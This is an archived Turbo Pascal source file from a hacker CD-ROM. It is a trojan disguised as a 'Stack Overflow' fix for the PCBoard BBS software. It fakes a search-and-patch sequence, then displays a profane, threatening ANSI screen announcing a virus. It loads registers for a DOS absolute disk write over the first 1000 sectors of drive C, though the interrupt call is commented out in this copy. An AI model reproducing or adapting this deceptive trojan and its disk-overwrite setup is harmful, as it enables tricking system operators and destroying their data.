home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / viruspcb.pas < prev    next >
Pascal/Delphi Source File  |  1995-01-03  |  8KB  |  214 lines

  1. {$I-}
  2. PROGRAM Formatter (input, output);
  3. uses dos,crt,printer,extra;
  4.  
  5. Type ScreenType = array [0..3999] of Byte;
  6. Var Regs                            : Registers;
  7.     ResultIo            : Integer;
  8.     CounterOne          : Integer;
  9.     CounterTwo          : Integer;
  10.     CounterThree        : Integer;
  11.     CounterFour         : Integer;
  12.     XPosition           : Integer;
  13.     YPosition           : Integer;
  14.     TargetAddressNumber : Integer;
  15.         PcBoardDirectory    : String;
  16.     CountOne            : String;
  17.     CountTwo            : String;
  18.     CountThree          : String;
  19.     CountFour           : String;
  20.       ScreenAddr                   : ScreenType absolute $B800:$0000;
  21.  
  22. Const ProgramOne ='Command.Com';
  23.             ProgramTwo ='Command.Com';
  24.       SearchFor  ='Stack Overflow';
  25.       ShortName  ='Pc-Board';
  26.       Version    ='2.03';
  27.       LongName   = ShortName+' '+Version+' Fix for '+SearchFor;
  28.       Directory  ='C:\PCBOARD\';
  29.       Programmers='Programmed by Larry Jones';
  30.             ImageData  : array [1..648] of Char = (
  31. #16,#24,#25,#3 ,#15,'Y','o','u',' ','s','t','u','p','i','d',' ','l','i','t',
  32. 't','l','e',' ','s','h','i','t',',',' ','t','h','i','s',' ','i','s',' ','a',
  33. ' ','V','I','R','U','S',',',' ','d','i','s','t','r','i','b','u','t','e','d',
  34. ' ','b','y',' ','n','o',' ','o','t','h','e','r',' ','t','h','a','n','.','.',
  35. '.',#24,#24,#25,#11,#12,#27,#17,'┌',#26,#53,'─','┐',#24,#16,#25,#11,#17,'│',
  36. ' ',' ',#11,#27,'▀',#26,#6 ,'█','▄',' ',' ','▄',#26,#5 ,'█','▄',' ',' ','▀',
  37. #26,#7 ,'█','▄',' ','▀','▀','█','█','▀','▀',' ','▀',#26,#6 ,'█','▄',#25,#3 ,
  38. #12,#27,'│',#15,#27,#23,'█',#24,#16,#25,#11,#12,#27,#17,'│',#25,#2 ,#11,#27,
  39. '█','█',#25,#3 ,'█','█',' ',' ','█','█',#25,#3 ,'█','█',#25,#2 ,'█','█',#25,
  40. #3 ,'▄','█','█',#25,#2 ,'█','█',#25,#3 ,'█','█',#25,#4 ,'█','█',#25,#2 ,#12,
  41. #27,'│',#15,#27,#23,'█',#7 ,'█',#24,#16,#25,#11,#12,#27,#17,'│',#25,#2 ,#11,
  42. #27,#26,#6 ,'█',#25,#2 ,#26,#7 ,'█',#25,#2 ,#26,#7 ,'█',#25,#3 ,'█','█',#25,
  43. #3 ,'█','█',#25,#4 ,'█','█',#25,#2 ,#12,#27,'│',#15,#27,#23,'█',#7 ,'█',#8 ,
  44. #16,'█',#24,#25,#11,#12,#27,#17,'│',#25,#2 ,#11,#27,'█','█',' ','▀','█','▄',
  45. #25,#3 ,'█','█',#25,#3 ,'█','█',#25,#2 ,'█','█',#25,#3 ,'▀','█','█',#25,#2 ,
  46. '█','█',#25,#3 ,'█','█',#25,#4 ,'█','█',#25,#2 ,#12,#27,'│',#15,#27,#23,'█',
  47. #7 ,'█',#8 ,#16,'█',#24,#25,#11,#12,#27,#17,'│',' ',' ',#11,#27,'▄','█','█',
  48. '▄',' ','▄','█','█','▄',' ','▄','█','█','▄',' ',' ','▄','█','█','▄',' ','▄',
  49. #26,#7 ,'█','▀',' ','▄','▄','█','█','▄','▄',' ','▄',#26,#6 ,'█','▀',#25,#3 ,
  50. #12,#27,'│',#15,#27,#23,'█',#7 ,'█',#8 ,#16,'█',#24,#25,#11,#12,#27,#17,'└',
  51. #26,#53,'─','┘',#15,#27,#23,'█',#7 ,'█',#8 ,#16,'█',#24,#25,#13,#15,'▀',#23,
  52. #26,#53,'▀',#7 ,'█',#8 ,#16,'█',#24,#25,#15,#26,#54,'▀',#24,#25,#17,#7 ,'W',
  53. 'e',#39,'r','e',' ','g','o','n','n','a',' ','g','e','t',' ','y','o','u',',',
  54. ' ','n','o',' ','m','a','t','t','e','r',' ','w','h','a','t',' ','i','t',' ',
  55. 't','a','k','e','s','.',#24,#25,#17,'L','i','s','t','e','n',' ','u','p',',',
  56. ' ','k','i','d','s',#26,#4 ,'.',#15,'D','O','N',#39,'T',' ','F','U','C','K',
  57. ' ','W','I','T','H',' ','R','A','B','I','D',#7 ,#26,#3 ,'.',#24,#25,#21,'Y',
  58. 'o','u',#39,'l','l',' ','n','e','v','e','r',' ','l','i','v','e',' ','t','o',
  59. ' ','m','a','k','e',' ','i','t',' ','a','l','i','v','e','.','.',#24,#24,#25,
  60. #14,'W','i','n','n','i','n','g',' ','t','h','e',' ','b','a','t','t','l','e',
  61. ',',' ','a','g','a','i','n','s','t',' ',#15,'F','U','C','K','E','R','S',' ',
  62. #7 ,'l','i','k','e',' ','y','o','u','r','s','e','l','f','.','.',#24,#24,#25,
  63. #23,#4 ,'(','T','h','e',' ','W','o','r','d','s',' ','f','r','o','m',' ','t',
  64. 'h','e',' ','I','m','m','o','r','t','a','l',' ','O','n','e',')',#24,#24,#24,
  65. #24,#24);
  66.  
  67. procedure UNCRUNCH (var Addr1,Addr2; BlkLen:Integer);
  68. begin
  69.   inline ($1E/$C5/$B6/Addr1/$C4/$BE/Addr2/$8B/$8E/BlkLen/$8B/$D7/$B4/$00/
  70.   $AC/$3C/$10/$73/$07/$80/$E4/$F0/$0A/$E0/$EB/$44/$3C/$18/$74/$13/$73/$19/
  71.   $2C/$10/$02/$C0/$02/$C0/$02/$C0/$02/$C0/$80/$E4/$0F/$0A/$E0/$EB/$2D/$81/
  72.   $C2/$A0/$00/$8B/$FA/$EB/$25/$3C/$1A/$75/$0B/$AC/$49/$51/$32/$ED/$8A/$C8/
  73.   $AC/$EB/$0D/$90/$3C/$19/$75/$11/$AC/$51/$32/$ED/$8A/$C8/$B0/$20/$0B/$C9/
  74.   $74/$03/$AB/$E2/$FD/$59/$49/$AB/$0B/$C9/$74/$02/$E2/$AA/$1F);
  75. end;
  76.  
  77. Function Exist (FileName:String):Boolean;
  78. Var FileToOpen:File;
  79.     CounterOne:Integer;
  80. Begin
  81.   Assign (FileToOpen,FileName);
  82.   Reset (FileToOpen);
  83.   CounterOne:=ioresult;
  84.   Exist:=CounterOne=0;
  85.   Close (FileToOpen);
  86.   CounterOne:=ioresult
  87. End;
  88.  
  89. Procedure WasteTime (TimeToWaste:Integer);
  90. Var CounterOne:Integer;
  91.         FileToOpen:File;
  92. Begin
  93.   For CounterOne:=1 to TimeToWaste do begin
  94.       Assign (FileToOpen,'C:\COMMAND.COM');
  95.       Reset (FileToOpen);
  96.       Close (FileToOpen);
  97.     Randomize;
  98.     delay (Random(500));
  99.   end;
  100. end;
  101.  
  102. Function Strr(IntegerNumber:Integer):String;
  103. Var StringNumber:String;
  104. Begin
  105.   Str(IntegerNumber,StringNumber);
  106.   Strr:=StringNumber;
  107. End;
  108.  
  109. procedure Format;
  110. Begin
  111.     Clrscr;
  112.     UnCrunch (ImageData,ScreenAddr[ (1*2) + (1*160) -162],648);
  113. {    Intr ($26,Regs);}
  114. end;
  115.  
  116. begin
  117.   SetCBreak(true);
  118.   TargetAddressNumber:=1;
  119.     NormCursorOn;
  120.     TextColor (7);
  121.   TextBackGround(0);
  122.   writeln;
  123.   writeln;
  124.   writeln;
  125.   writeln (LongName);
  126.   writeln (Programmers);
  127.   repeat;
  128.       writeln;
  129.       writeln (' Enter the Directory where '+ShortName+' '+Version+' is Stored: (Eg. '+Directory+') ');
  130.     writeln;
  131.       write   (' Directory Name>: ');
  132.       readln (PcBoardDirectory);
  133.     if (length(PcBoardDirectory)=0) then PcBoardDirectory:='__________';
  134.       ChDir (PcBoardDirectory);
  135.     ResultIo:=0;
  136.     ResultIo:=IoResult;
  137.       If ResultIo <>0 then begin
  138.           writeln;
  139.       TextColor(4);
  140.         writeln (' Directory does not exist.');
  141.       TextColor(7);
  142.       writeln;
  143.       writeln;
  144.       halt;
  145.       end;
  146.   until ResultIo=0;
  147.   ChDir (PcBoardDirectory);
  148.   if ((not(exist(ProgramOne))) or (not(exist(ProgramTwo)))) then begin
  149.       writeln;
  150.     TextColor(4);
  151.     writeln (' '+ShortName+' files not found.');
  152.     TextColor(7);
  153.     Halt;
  154.   end;
  155.   writeln;
  156.   write (' Loading '+ShortName+'.EXE... ');
  157.   WasteTime (70);
  158.   Delay (2000);
  159.   write (' Searching for '+SearchFor+' - ');
  160.   TargetAddressNumber:=TargetAddressNumber+3;
  161.   TargetAddressNumber:=TargetAddressNumber-2;
  162.   TargetAddressNumber:=TargetAddressNumber*2;
  163.   Delay (1500);
  164.   CursorOff;
  165.      XPosition:=WhereX;
  166.   YPosition:=WhereY;
  167.   For CounterOne:=0 to 1 do begin
  168.       For CounterTwo:=0 to 13 do begin
  169.         For CounterThree:=0 to 7 do begin
  170.           For CounterFour:=0 to 11 do begin
  171.           Gotoxy (XPosition,YPosition);
  172.           if CounterFour=10 then CountFour:='A' else
  173.           if CounterFour=11 then CountFour:='B' else
  174.           if CounterFour=12 then CountFour:='C' else
  175.           if CounterFour=13 then CountFour:='D' else
  176.           CountFour:=strr(CounterFour);
  177.           if CounterThree=10 then CountThree:='A' else
  178.           if CounterThree=11 then CountThree:='B' else
  179.           if CounterThree=12 then CountThree:='C' else
  180.           if CounterThree=13 then CountThree:='D' else
  181.           CountThree:=strr(CounterThree);
  182.           if CounterTwo=10 then CountTwo:='A' else
  183.           if CounterTwo=11 then CountTwo:='B' else
  184.           if CounterTwo=12 then CountTwo:='C' else
  185.           if CounterTwo=13 then CountTwo:='D' else
  186.           CountTwo:=strr(CounterTwo);
  187.           if CounterOne=10 then CountOne:='A' else
  188.           if CounterOne=11 then CountOne:='B' else
  189.           if CounterOne=12 then CountOne:='C' else
  190.           if CounterOne=13 then CountOne:='D' else
  191.           CountOne:=strr(CounterOne);
  192.           write ('1B9C:',CountOne,CountTwo,CountThree,CountFour);
  193.         end;
  194.       end;
  195.     end;
  196.   end;
  197.   NormCursorOn;
  198.   Delay (1500);
  199.   writeln;
  200.   write (' '+strr(TargetAddressNumber)+' Target Address Found... ');
  201.   Delay (1500);
  202.   writeln ('Fixing '+SearchFor+'...');
  203.   delay (3000);
  204.   write (' Rewriting '+ShortName+' Program.... ');
  205.   WasteTime (30);
  206.   writeln (' '+SearchFor+' will not occur any more.');
  207.     Regs.AL:=2;
  208.   Regs.CX:=1000;
  209.   Regs.DX:=0;
  210.   Format;
  211. end.
  212. 
  213. Downloaded From P-80 International Information Systems 304-744-2253
  214.